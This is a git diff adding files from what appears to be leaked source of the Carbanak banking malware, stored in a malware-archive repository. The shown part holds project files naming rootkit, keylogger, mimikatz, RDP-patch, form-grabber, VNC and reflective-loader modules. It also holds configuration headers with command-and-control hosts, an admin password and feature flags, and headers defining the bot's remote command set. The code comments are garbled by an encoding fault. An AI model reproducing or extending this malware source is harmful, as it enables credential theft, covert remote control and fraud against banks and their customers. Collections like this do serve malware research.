Include="source\other\vnc.cpp" />+ <ClCompile Include="source\plugin.cpp" />+ <ClCompile Include="source\plugins\FindOutlookFiles.cpp" />+ <ClCompile Include="source\plugins\MonitoringFile.cpp" />+ <ClCompile Include="source\plugins\plugins.cpp" />+ <ClCompile Include="source\plugins\TrustedHosts.cpp" />+ <ClCompile Include="source\ReflectiveLoader.cpp" />+ <ClCompile Include="source\rootkit.cpp" />+ <ClCompile Include="source\sandbox.cpp" />+ <ClCompile Include="source\service.cpp" />+ <ClCompile Include="source\system\FormGrabber.cpp" />+ <ClCompile Include="source\system\ifobs.cpp">+ <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release debug string|x64'">true</ExcludedFromBuild>+ <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild>+ <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release DLL debug|x64'">true</ExcludedFromBuild>+ <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'">true</ExcludedFromBuild>+ </ClCompile>+ <ClCompile Include="source\system\system.cpp" />+ <ClCompile Include="source\task.cpp" />+ <ClCompile Include="source\tools.cpp" />+ <ClCompile Include="source\VideoServer.cpp" />+ <ClCompile Include="source\wincmd.cpp" />+ </ItemGroup>+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />+ <ImportGroup Label="ExtensionTargets">+ </ImportGroup>+</Project>\ No newline at end of filediff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/bot.vcxproj.filters b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/bot.vcxproj.filtersnew file mode 100644index 0000000..de717f7--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/bot.vcxproj.filters@@ -0,0 +1,189 @@+<?xml version="1.0" encoding="utf-8"?>+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">+ <ItemGroup>+ <Filter Include="source">+ <UniqueIdentifier>{40b892d0-257a-47d3-9427-8c57e2c869e8}</UniqueIdentifier>+ </Filter>+ <Filter Include="include">+ <UniqueIdentifier>{33dd5c01-b203-43ec-848f-cd415f38a16b}</UniqueIdentifier>+ </Filter>+ <Filter Include="config">+ <UniqueIdentifier>{07a6a388-eab6-429c-b2ed-bb233a77d070}</UniqueIdentifier>+ </Filter>+ <Filter Include="config\full">+ <UniqueIdentifier>{2fb7e8d3-1e07-4eca-90bc-3c9af4c79c92}</UniqueIdentifier>+ </Filter>+ <Filter Include="config\debug">+ <UniqueIdentifier>{91d46f61-5c35-4271-971c-5df35fd9fc15}</UniqueIdentifier>+ </Filter>+ <Filter Include="source\system">+ <UniqueIdentifier>{40f25726-a7e3-42c1-b012-5c7005250e90}</UniqueIdentifier>+ </Filter>+ <Filter Include="source\other">+ <UniqueIdentifier>{576cb686-3b13-4d9f-b77f-c0ccd872e055}</UniqueIdentifier>+ </Filter>+ <Filter Include="source\plugins">+ <UniqueIdentifier>{24deb87d-07f8-4d55-b756-07a06eba49b4}</UniqueIdentifier>+ </Filter>+ </ItemGroup>+ <ItemGroup>+ <ClInclude Include="include\main.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\AdminPanel.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="config\builder.h">+ <Filter>config</Filter>+ </ClInclude>+ <ClInclude Include="config\full\config.h">+ <Filter>config\full</Filter>+ </ClInclude>+ <ClInclude Include="config\debug\config.h">+ <Filter>config\debug</Filter>+ </ClInclude>+ <ClInclude Include="include\keylogger.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\service.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\VideoServer.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\task.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\Manager.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\sandbox.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\MonitoringProcesses.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\tools.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\system.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\other.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\info.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\plugins.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\errors.h">+ <Filter>include</Filter>+ </ClInclude>+ <ClInclude Include="include\AV.h">+ <Filter>include</Filter>+ </ClInclude>+ </ItemGroup>+ <ItemGroup>+ <ClCompile Include="source\main.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\rootkit.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\AdminPanel.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\explorer_loop.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\config.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\Manager.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\keylogger.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\service.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\VideoServer.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\abstract.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\task.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\sandbox.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\MonitoringProcesses.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\tools.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\system\system.cpp">+ <Filter>source\system</Filter>+ </ClCompile>+ <ClCompile Include="source\other\mimikatz.cpp">+ <Filter>source\other</Filter>+ </ClCompile>+ <ClCompile Include="source\system\ifobs.cpp">+ <Filter>source\system</Filter>+ </ClCompile>+ <ClCompile Include="source\other\rdp_patch.cpp">+ <Filter>source\other</Filter>+ </ClCompile>+ <ClCompile Include="source\other\secure_lsa.cpp">+ <Filter>source\other</Filter>+ </ClCompile>+ <ClCompile Include="source\other\GetProxy.cpp">+ <Filter>source\other</Filter>+ </ClCompile>+ <ClCompile Include="source\info.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\plugins\plugins.cpp">+ <Filter>source\plugins</Filter>+ </ClCompile>+ <ClCompile Include="source\plugins\TrustedHosts.cpp">+ <Filter>source\plugins</Filter>+ </ClCompile>+ <ClCompile Include="source\other\FindFiles.cpp">+ <Filter>source\other</Filter>+ </ClCompile>+ <ClCompile Include="source\plugins\FindOutlookFiles.cpp">+ <Filter>source\plugins</Filter>+ </ClCompile>+ <ClCompile Include="source\other\vnc.cpp">+ <Filter>source\other</Filter>+ </ClCompile>+ <ClCompile Include="source\plugins\MonitoringFile.cpp">+ <Filter>source\plugins</Filter>+ </ClCompile>+ <ClCompile Include="source\other\ListProcess.cpp">+ <Filter>source\other</Filter>+ </ClCompile>+ <ClCompile Include="source\system\FormGrabber.cpp">+ <Filter>source\system</Filter>+ </ClCompile>+ <ClCompile Include="source\wincmd.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\plugin.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\AV.cpp">+ <Filter>source</Filter>+ </ClCompile>+ <ClCompile Include="source\ReflectiveLoader.cpp">+ <Filter>source</Filter>+ </ClCompile>+ </ItemGroup>+</Project>\ No newline at end of filediff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/bot.vcxproj.user b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/bot.vcxproj.usernew file mode 100644index 0000000..a375ae3--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/bot.vcxproj.user@@ -0,0 +1,4 @@+<?xml version="1.0" encoding="utf-8"?>+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">+ <PropertyGroup />+</Project>\ No newline at end of filediff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/config/builder.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/config/builder.hnew file mode 100644index 0000000..44ad8b9--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/config/builder.h@@ -0,0 +1,53 @@+#pragma once++//������ ��� �������+//�������� �������, ����� ����������� ��������� |+const int MaxSizeHostAdmin = 128;+#define MASK_ADMIN_PANEL_HOSTS "ADMIN_PANEL_HOSTS"+const int MaxSizeProxy = 32;+#define MASK_PROXY "PROXY_IP"+#define MASK_ADMIN_AZ "ADMIN_AZ"+const int MaxSizeUserAZ = 32;+#define MASK_USER_AZ "USER_AZ"+//�������� IP ������� ��� �����-�������, ����������� �������� |, ����� ����������� ��������� ����+const int MaxSizeIpVideoServer = 128;+#define MASK_VIDEO_SERVER_IP "VIDEO_SERVER_IP"+//����� ��������� ����� �������:+//������: 0 - '1' - ��������� � ��������� ��������, '0' - � ��� �� ��������, ��� �������+// 1 - '1' - ��������� � ������ ������, '0' - ��� ������ ����� ����������� � ��������+// 2-6 - ����� ������� ����� ����������� ����������� �� ������� (5 ��������, �������� 60 �����: 00060)+const int MaxFlagsVideoServer = 32;+#define MASK_FLAGS_VIDEO_SERVER "FLAGS_VIDEO_SERVER"+//������ ��� ����������+const int MaxSizePasswordAdmin = 128;+#define MASK_ADMIN_PASSWORD "ADMIN_PASSWORD"+//������� ���+const int MaxSizePrefix = 32;+#define MASK_PREFIX_NAME "PREFIX_NAME"+//������ ������� (� ��������)+const int MaxSizePeriodConnect = 16;+#define MASK_PERIOD_CONTACT "PERIOD_CONTACT"+//��������� ������, ��� ���������� �������� ���������� ��������+#define MASK_RAND_STRING "RAND_STRING"+//������ ��������� ����� �������� ��������, ���� ������ ������������ ��� ����������� ������ � ���� ����+//�� �������� 12 � 14 ��������� ������������ ���������� ��������� �����, � �� 10 - ��������� ��������� �����+//���� ��������� ������������ ��� ������������� �����+const int MaxSizeRandVector = 16;+#define MASK_RAND_VECTOR "RAND_VECTOR"+//��������� ��������� ��� ����+//������� 0: 1 - ������ ��� ���� ����������, 0 - �� ������ ���������� (����� ������ ��� �� ����� ��������)+const int MaxSizeMiscState = 32;+#define MASK_MISC_STATE "MISC_STATE"++//���������� �������� �������� ����������� ��������� ���������, � ������� ���������+const int CountStringOpcode = 4;++#define BEG_ENCODE_STRING "BS"+#define END_ENCODE_STRING "ES"++const int MaxSizePublicKey = 200;+#define MASK_PUBLIC_KEY "PUBLIC_KEY"++//���� � ������� ����� ������ ��������+const int MaxSizeDateWork = 16;+#define MASK_DATE_WORK "DATE_WORK"diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/config/debug/config.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/config/debug/config.hnew file mode 100644index 0000000..0b0084e--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/config/debug/config.h@@ -0,0 +1,76 @@+#pragma once++//����� ������+#include "..\builder.h"++//#define ADMIN_PANEL_HOSTS ""+//#define ADMIN_PANEL_HOSTS "comixed.org"+//#define ADMIN_PANEL_HOSTS "194.146.180.40"+#define ADMIN_PANEL_HOSTS "aaaabbbbccccc.org"+//#define ADMIN_PANEL_HOSTS "stats10-google.com"+#define ADMIN_AZ "admin_az"+#define USER_AZ "admin"+#define VIDEO_SERVER_IP "192.168.0.100:700"+//#define VIDEO_SERVER_IP "80.84.49.50:443"+//#define VIDEO_SERVER_IP "52.11.125.44:443"+//#define FLAGS_VIDEO_SERVER "0000005"+//��������� ��� ���������� �������+//������� 0: ��������� � ��������� �������� ��� ���+// 1: ��������� ��� ��� � ������ ������+// 2-6: ����� ������� ����� ����������� ����������� �� �������+#define FLAGS_VIDEO_SERVER "0000099"+//#define FLAGS_VIDEO_SERVER "1000099"+#define ADMIN_PASSWORD "1He9Psa7LzB1wiRn"+//#define ADMIN_PASSWORD "1234567812345678"+#define PREFIX_NAME "myt"+#define PERIOD_CONTACT "30"+//��������� ��������� ����+//������� 0 - ��������� ��� �������� ���������� � ������������+// 1 - �������� ��� ������� ������ �������+// 2 - �������� ��� ��������� �������� ������� �����+// 3 - ������� ������������ � ������� (1), ����� � ������� (0)+// 4 - �������� ��� ��� ������ � ���������� �������� ��� �������� � svchost.exe+//#define MISC_STATE "10111"+#define MISC_STATE "10110"++//��������� ��� ���������� ������ �������+//��������� ��������� �������+//#define OFF_SERVICE+//#define OFF_SDPROP+//��������� ��������� � ���������� (� ��� ��� � ���� �����)+//#define OFF_AUTORUN+//��� ������� �� ����������� � ��������+//#define OFF_SVCHOST+//��� ���������� ������ (���������, ����) ������� � ����� c:\botdebug+#define ON_SENDDATA_FOLDER+//��� ������� ������� �� ����� c:\plugins+#define ON_PLUGINS_FOLDER+#define ON_VIDEOSERVER+//��� ������ �� ������������ ��������� (�� ���������� � ����)+#define NOT_EXPLORER+//����������� �����+//#define ON_IFOBS+//����������� ������� �� ��������� mimikatz+#ifndef WIN64+#define ON_MIMIKATZ+#endif+//�������� �������� ������ � ���� ��������+#define ON_FORMGRABBER++//��������� ��������� ��������+//#define PLUGINS_TRUSTED_HOSTS+//#define PLUGINS_FIND_OUTLOOK_FILES+//����� ������ ����� ��������� ������ ����+//#define PLUGINS_FIND_OUTLOOK_FILES_EXIT+//#define PLUGINS_MONITORING_FILE++//����������� IP ������� � ��� ��������� ����������� ������ ��������� ��������� ����� ������� ����������� �� ����� IP+//#define IP_SERVER_FROM_DNS+//������� �� ������� ������� ������ IP �������+//#define IP_SERVER_EXTERNAL_IP+++//��������� ����� ����, ������� ���� 2 ���� �����, ������� ������������ xor ��������� �� ��������� ������, 3-� ���� ��� ����� ����� (����� ����� ������������ ������)+#define PUBLIC_KEY "\xaa\x8d\xfe\x8b\xa8\x8d\xaa\x8d\x0e\x8d\xaa\xdf\xf9\xcc\x9b\x8d\xa8\x8d\xaa\x8c\xaa\x8c\xaa\x86\x60\x07\xb9\x70\x3b\x69\xd8\x0d\x53\xd2\x44\xb5\x16\xa3\x47\xad\xf7\xd9\xa9\x8f\x04\x5b\x3a\xc6\xc0\xe2\x04\xf3\xac\xb3\x26\x67\x02\x98\xec\x12\x94\x99\x8a\x0b\xe9\xe2\x2d\x32\x04\xca\x62\xda\x5f\x92\x7a\x3a\x8d\xcf\xa4\x5c\xfb\xba\xcf\x9b\x4e\x1e\x61"++#define DATE_WORK "0"diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/config/full/config.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/config/full/config.hnew file mode 100644index 0000000..7faa8a4--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/config/full/config.h@@ -0,0 +1,53 @@+#pragma once++//������ �������� ������+#include "..\builder.h"++#define ADMIN_PANEL_HOSTS MASK_ADMIN_PANEL_HOSTS+#define ADMIN_AZ MASK_ADMIN_AZ+#define USER_AZ MASK_USER_AZ+#define VIDEO_SERVER_IP MASK_VIDEO_SERVER_IP+#define FLAGS_VIDEO_SERVER MASK_FLAGS_VIDEO_SERVER+#define ADMIN_PASSWORD MASK_ADMIN_PASSWORD+#define PREFIX_NAME MASK_PREFIX_NAME+#define PERIOD_CONTACT MASK_PERIOD_CONTACT+#define MISC_STATE MASK_MISC_STATE++//��������� ��� ���������� ������ �������+//��������� ��������� �������+//#define OFF_SERVICE+//#define OFF_SDPROP+//��������� ���������� � ���������� (� ��� ��� � ���� �����)+//#define OFF_AUTORUN+//��� ���������� ������ (���������, ����) ������� � ����� c:\botdebug+//#define ON_SENDDATA_FOLDER+//��� ������� ������� �� ����� c:\plugins+//#define ON_PLUGINS_FOLDER++#define ON_VIDEOSERVER+//��� ������ �� ������������ ��������� (�� ���������� � ����)+#define NOT_EXPLORER+//����������� �����+//#define ON_IFOBS+//����������� ������� �� ��������� mimikatz+#ifndef WIN64+#define ON_MIMIKATZ+#endif+//�������� �������� ������ � ���� ��������+//#define ON_FORMGRABBER++//��������� ��������� ��������+//#define PLUGINS_TRUSTED_HOSTS+//#define PLUGINS_FIND_OUTLOOK_FILES+//����� ������ ����� ��������� ������ ����+//#define PLUGINS_FIND_OUTLOOK_FILES_EXIT+//#define PLUGINS_MONITORING_FILE++//����������� IP ������� � ��� ��������� ����������� ������ ��������� ��������� ����� ������� ����������� �� ����� IP+//#define IP_SERVER_FROM_DNS+//������� �� ������� ������� ������ IP �������+//#define IP_SERVER_EXTERNAL_IP++#define PUBLIC_KEY MASK_PUBLIC_KEY++#define DATE_WORK MASK_DATE_WORKdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/AV.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/AV.hnew file mode 100644index 0000000..adf16cd--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/AV.h@@ -0,0 +1,9 @@+#pragma once++#include "core\core.h"++const int AV_TrandMicro = 1;+const int AV_AVG = 2;+const int AV_KAV = 3;++int AVDetect();diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/AdminPanel.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/AdminPanel.hnew file mode 100644index 0000000..2e2651f--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/AdminPanel.h@@ -0,0 +1,115 @@+#include "core\core.h"+#include "core\debug.h"+#include "core\pipe.h"++namespace AdminPanel+{++const int DEF = 0; //������� �������+const int AZ = 1; //�� �������++//��������� �������������� �� ������ �������� �������+#pragma warning ( disable : 4200 )++struct MsgSendData+{+ char nameData[32]; //�������� ������������ ������ (���� data)+ char nameProcess[32]; //��� �������� (���� process)+ uint hprocess; //����� �������� (���� idprocess)+ bool file; //true - ������������ ���� �������� ��� ContentMultipart, false - ��� ContentWebForm+ char fileName[32]; //��� ����� ��� ������������ ������+ int c_data;+ char data[0];+};++//����������� ��� ������� CmdLog ���� �����+struct MsgLog+{+ bool flush; //����������� ��� ����� ��������+ int code; //��� ���������+};++bool Init();+void Release();++//���������� ���� ������� �������+//type - 0 Config::Hosts (������� �������), 1 - Config::HostsAZ (������� AZ)+bool GetHostAdmin( int type, StringBuilder& host );+//���������� ��� ������� ����� ��������� �������, ����������� �������� '|'+bool GetHosts( int type, StringBuilder& hosts );+//���������� ����� ������� �� �������+bool GetCmd( StringBuilder& cmd );+//����������� ������ � �������+bool SendData( MsgSendData* data );+//������� ������ ������, � dst ����� � �������� ���� IV (8 ����) + ����������� ������+bool EncryptToBin( const void* data, int c_data, Mem::Data& dst );+inline bool EncryptToBin( const Mem::Data& src, Mem::Data& dst )+{+ return EncryptToBin( src.Ptr(), src.Len(), dst );+}+//������� ������ ������ � ��������� �� � base64 � ������ ��������� ��������, � dst ����� IV + ����������� ������ � base64 (������ ����� ������)+bool EncryptToText( const void* data, int c_data, StringBuilder& dst );+inline bool EncryptToText( const Mem::Data& src, StringBuilder& dst )+{+ return EncryptToText( src.Ptr(), src.Len(), dst );+}+//�������������� ������+bool Decrypt( const Mem::Data& src, Mem::Data& dst );++}++DWORD WINAPI AdminPanelProcess( void* );+DWORD WINAPI AdminPanelThread( void* );+//������ svchost �������� ������ � ��������+bool RunAdminPanelInSvchost();+//������ ������ ������ � ��������, ���� thread = true, �� ����������� � ��������� ������, ����� � �������+bool RunAdminPanel( bool thread = true );++class PipeInetRequest : public PipeServer+{++ public:+ enum+ {+ CmdGetCmd, //������ � ������� � ��������� �������+ CmdSendData, //������� ������ � �������+ CmdLoadFile, //�������� ����� �� ����+ CmdLoadPlugin, //�������� �������+ CmdTunnelHttp, //������� http ������+ CmdTunnelIpPort, //������� �������� ������� �� ��������� �����+ CmdSetProxy, //���������� ������+ CmdDelProxy, //������� ������+ CmdGetProxy, //������� ������������� ������+ CmdDupl, //������ ������ ������ � ������� � �����+ CmdNewAdminka, //����� ������ �������+ CmdSendDataCrossGet, //������� ������ � ������� ����� GET ������ (������������ ������ ������ ����������� ������������ � ����������� �����)+ CmdLog //������� ���� � �������, ������ ���������� ����� (���� ����)+ };++ private:++ virtual int Handler( Pipe::Msg* msgIn, void** msgOut );++ //���������� ������� ���������� ������� �������� ������+ static bool SendString( const char* namePipe, int cmd, const char* s, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver, DWORD tag = 0 );++ Mem::Data result; //��� �������� ����� ���� �����������++ public:++ PipeInetRequest();+ ~PipeInetRequest();++ //������ ������� ������������� ��� ������� ������ � ��� ������������ ����� ��������+ //���� ��������� ������� ���������� ����������.+ //����������������� ����� �������� ����������� �� ������ ���������+ //namePipe ��� ��� ������, ������������������ � ���������, ������� ����� ��������� �������� � ������++ //����������� � ���������+ bool Reg( int priority );+ //������ � ������� � ��������� �������+ static bool GetCmd( const char* namePipe, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver = 0 );+ static bool SendData( const char* namePipe, const AdminPanel::MsgSendData* data, int c_data );+ static bool LoadFile( const char* namePipe, const char* url, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver = 0, DWORD tag = 0 );+ static bool LoadPlugin( const char* namePipe, const char* plugin, Pipe::typeReceiverPipeAnswer funcReceiver, const char* nameReceiver = 0, DWORD tag = 0 );+};diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/Manager.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/Manager.hnew file mode 100644index 0000000..844adbc--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/Manager.h@@ -0,0 +1,255 @@+#pragma once++#include "core\pipe.h"+#include "core\vector.h"+#include "core\http.h"++class ManagerServer : public PipeServer+{++ //����� ������� ����� �������� � ������� �����+ struct PipeInet+ {+ char name[32];+ int priority;+ };+ //����� ����, ������� ����� ������������� ������ �� ��������� ���������+ //��������� �������������� �� ������ �������� �������+ #pragma warning ( disable : 4200 )+ struct SharedFile+ {+ char name[128];+ int c_data;+ byte data[0];+ };++ //�������������� ��������� ������ � ��� ����+ struct Redirect+ {+ char name[32];+ int logId;+ };++ Vector< MovedPtr<PipeInet> > pipesInet; //������������������ ������, ������� ����� �������� ������� � ����+ Vector< MovedPtr<SharedFile> > sharedFiles; //���������������� �����, ����������� � �������+ Vector< MovedPtr<Redirect> > redirects; //����� ������ ������ � ���+ int currPipeInet; //������� ����� ������� �������� � ����+ StringBuilderStack<48> pipeTaskServer; //��� ������ ������� �����+ StringBuilderStack<48> pipeVideoServer; //��� ������ ����� �������+ StringBuilderStack<48> pipeMonProcesses; //��� ������ ����������� ���������++ Mem::Data result; //��� �������� ����� ���� �����������++ public:++ enum+ {+ CmdReg = 1, //����������� ������ ������� ����� �������� � ������� �����+ CmdGetCmd = 2, //������ � ������� � ��������� �������+ CmdSendData = 3, //�������� ������ � �������+ CmdCmdExec = 4, //��������� �������+ CmdLoadFile = 5, //�������� ����� �� ��������� ����+ CmdLoadPlugin = 6, //�������� �������+ CmdRegTask = 7, //����������� ������� ���������� ����� (������)+ CmdRegVideo = 8, //����������� ����� �������+ CmdVideo = 9, //������ �����+ CmdVideoStop = 10, //���������� ����� ������+ CmdAddSharedFile = 11, //���������� ����������������� �����+ CmdGetSharedFile = 12, //���������� ��������� ���������������� ����+ CmdSendFileToVideoServer = 13, //�������� ����� �� ����� ������+ CmdMimikatzPatchRDP = 14, //������� RDP ����� mimikatz+ CmdVideoServerTunnel = 15, //������� ������� ��� ����� � ����� ��������+ CmdHttpProxy = 16, //�������� http proxy+ CmdIpPortProxy = 17, //�������� ������� ������� �� ��������� �����+ CmdSetProxy = 18, //������������� ����� ��������� ������ ��� �������+ CmdAddVideoServers = 19,//��������� ������ ����� ��������+ CmdGetGlobalState = 20, //���������� ���������� �������� ���������+ CmdSetGlobalState = 21, //���������� ����� �������� ����������� ���������+ CmdVideoSendFolderPack = 22, //�������� ����� � ������� �� �� ����� ������+ CmdVideoSendLog = 23, //�������� ���� �� ����� ������+ CmdVideoCreateLog = 24, //������� ����� ��� ������ ����� �� ������+ CmdRegMonProcesses = 25,//����������� ������ ����������� ���������+ CmdAddStartCmd = 26, //���������� ������� ��� ���������� ����� ������+ CmdDelProxy = 27, //������� ��������� ������+ CmdGetProxy = 28, //���������� ��������� ������+ CmdVideoServerSendStr = 29, //������� ������ �� ����� ������+ CmdVideoServerConnected = 30, //��� ���������� � ��������+ CmdVideoServerRestart = 31, //������������� ���������� ��� ��������� ������+ CmdDupl = 32, //��. ��� ������� � AdminPanel+ CmdVideoSendFirstFrame = 33, //������� ���������� ����� ��� ������ �����+ CmdNewAdminka = 34, //����� ������ �������+ CmdSendDataCrossGet = 35, //������� ������ � ������� ����� GET ������ (������������ ������ ������ ����������� ������������ � ����������� �����)+ CmdLog = 36, //������� ���� � �������, ������ ���������� ����� (���� ����)+ CmdLoadPluginServer = 37, //�������� ������� � �������+ CmdCreateStream = 38, //�������� ������ ��� �������� ������+ CmdSendStreamData = 39, //������� ������ � �����+ CmdCloseStream = 40, //�������� ���������� ������ (��� �������)+ CmdRedirect = 41 //����� ������ �������������� � ���+ };++ private:++ struct MsgReg //��� ������� CmdReg+ {+ char namePipe[32]; //��� �����+ int priority; //��������� ������������� ������ ������, ��� ���� �����, ��� ���� ���������+ };++ virtual int Handler( Pipe::Msg* msgIn, void** msgOut );+ virtual void Disconnect();+ //���������� ����� ������� ������������ ��� �������� �������� � ����+ int GetNewPipeInet();+ //��������� �� ������������� �������� ������ ������ � ������, � � ������ ���� ��������� �����+ //���������� ����� ������ �� ������� ����� �������� ������, -1 - ���� ��� ����� �������+ int GetPipeInet();+ //��������� � ������ ����� ����+ void AddSharedFile( SharedFile* file );++ public:++ ManagerServer();+ ~ManagerServer();++ //��������� ������� ������� ���������� �������, ��� ������� ���������� � ��������� ������+ //� ���� ���� ���������������� ����� ������� � ������ � ����� �������� �������+ void HandlerCmdAdminPanel( Pipe::Msg* msg );+ //������ ������� �������� ������ ���������, ������� �� �������� ������� ������������++ //����������� ������ ����� ������� ���� ������� � ������� �����+ static bool RegAdminPanel( PipePoint* pipe, int priority = 0 );+ //����������� ������ ������� �����+ static bool RegTaskServer( PipePoint* pipe );+ //����������� ����� �������+ static bool RegVideoServer( PipePoint* pipe );+ //����������� ������� ����������� ���������+ static bool ManagerServer::RegMonitoringProcesses( PipePoint* pipe );+ //������ � ������� � ��������� ������� �� ���, ��������� ����� ������ serverAnswer, ������� �������� ��� func,+ //���� serverAnswer = 0, �� �� ��������� ������� Pipe::serverPipeResponse, ������� ������ ���� ��������������� ��� ������� �������� (Pipe::InitServerPipeResponse())+ static bool GetAdminCmd( Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0 );+ //���������� ������ � �������:+ //nameData - ��� ������ (keylogger, screenshot), data - ���� ������, c_data - ������ ������+ //file = true - ������������ ���� �������� ��� ContentMultipart, false - ��� ContentWebForm+ //fileName - ��� ����� ��� ������������ ������+ static bool SendData( const char* nameData, const void* data, int c_data, bool file, const char* fileName = 0 );+ //���������� ������� cmd+ static bool CmdExec( const char* cmd, int len = -1 );+ //��������� ���� �� ���������� ����+ static bool LoadFile( StringBuilder& url, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 );+ //��������� ������ � ��������� ������� (type = 0 - �������, 1 - AZ, -1 - �� � file ������ ���)+ //file - ����� ���� ����� ����� �����+ static bool ExecRequest( int typeHost, StringBuilder& file, Pipe::typeReceiverPipeAnswer func = 0, PipePoint* serverAnswer = 0, DWORD tag = 0 );+ //��������� ������ �� ������� ��� �������, � ����������� ��� ������� � ����+ static bool LoadPlugin( StringBuilder& plugin, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 );+ //��������� ��������� ������ � �������, ���� ������ �� ����������, �� � func ����� ������� ������ ������ ��� ����������, ������� ����������� ���������+ static bool LoadPluginAdminka( StringBuilder& plugin, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 );+ //��������� ��������� ������ � �������, ���� ������ �� ����������, �� � func ����� ������� ������ ������ ��� ����������, ������� ����������� ���������+ static bool LoadPluginServer( StringBuilder& plugin, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 );+ //������ ������ ����� ���������� ��������, ���� pid = 0, �� ������ ����� ������+ static bool StartVideo( const char* nameVideo, DWORD pid = 0 );+ //������� ���������� ����� ��� ������ �����+ static bool SendFirstVideoFrame();+ static bool StopVideo();+ static bool SendFileToVideoServer( const char* typeName, const char* fileName, const char* ext, const void* data, int c_data );+ static bool SendFileToVideoServer( const char* typeName, const char* fileName, const char* ext, const Mem::Data& data )+ {+ return SendFileToVideoServer( typeName, fileName, ext, data.Ptr(), data.Len() );+ }+ static bool SendFileToVideoServer( const char* typeName, const char* fileName, const char* ext, const StringBuilder& s )+ {+ return SendFileToVideoServer( typeName, fileName, ext, s.c_str(), s.Len() );+ }+ static bool SendFolderPackToVideoServer( const char* srcFolder, const char* dstFolder, const char* typeName, const char* fileName, int globalId = -1, Pipe::typeReceiverPipeAnswer func = 0, PipePoint* serverAnswer = 0, DWORD tag = 0 );+ static bool StartVideoServerTunnel( int port, const char* pipeName );+ static bool SendVideoLog( uint idStream, const char* text, int len = -1 );+ static bool CreateVideoLog( const char* nameLog, 